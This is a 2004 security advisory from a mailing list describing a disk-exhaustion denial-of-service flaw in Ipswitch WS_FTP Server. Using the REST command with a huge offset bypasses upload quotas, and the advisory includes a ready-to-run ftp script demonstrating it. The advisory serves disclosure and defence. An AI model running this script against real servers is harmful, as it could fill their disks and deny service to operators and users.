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How to crash a harddisk - the Ipswitch WS_FTP Server way
From: "Hugh Mann" <hughmann () hotmail com>
Date: Tue, 23 Mar 2004 07:10:41 +0000

Advisory Name: How to crash a harddisk - the Ipswitch WS_FTP Server way
Impact       : Denial of Service
Discovered by: Hugh Mann hughmann () hotmail com
Tested progs : Ipswitch WS_FTP Server 4.0.2.EVAL

It's possible for any user with write access to a directory, even when there's a limit to how much data the user can upload, to use up all available disk space on any partition it can upload to. Even a slow modem user can do this because the user only needs to send a few bytes to the server.

The REST command is used to change the file pointer where new data will be written to the file next time the user sends an upload command such as STOR. A user can create arbitrary sized files (up to 2^64-1 bytes) by specifying a large value as the argument to REST and then sending a small file with STOR.

WS_FTP Server doesn't count the extra bytes starting from the end of the original file to the new file pointer location when checking if the user can upload more bytes. The next time the user tries to upload a file, WS_FTP Server will give an error.

Save this in a file called ftpcmds.txt, after changing the FTP server name, username, and password.

open ftp.server.mob
put 2byte_2.txt
del 2byte_2.txt
quote REST 1073741822
put 2byte.txt
put 2byte_2.txt
del 2byte.txt
del 2byte_2.txt
!del 2byte.txt
!del 2byte_2.txt

Then start it:

C:\>ftp -s:ftpcmds.txt

to see the result. It will create a 1GB file and then delete it.

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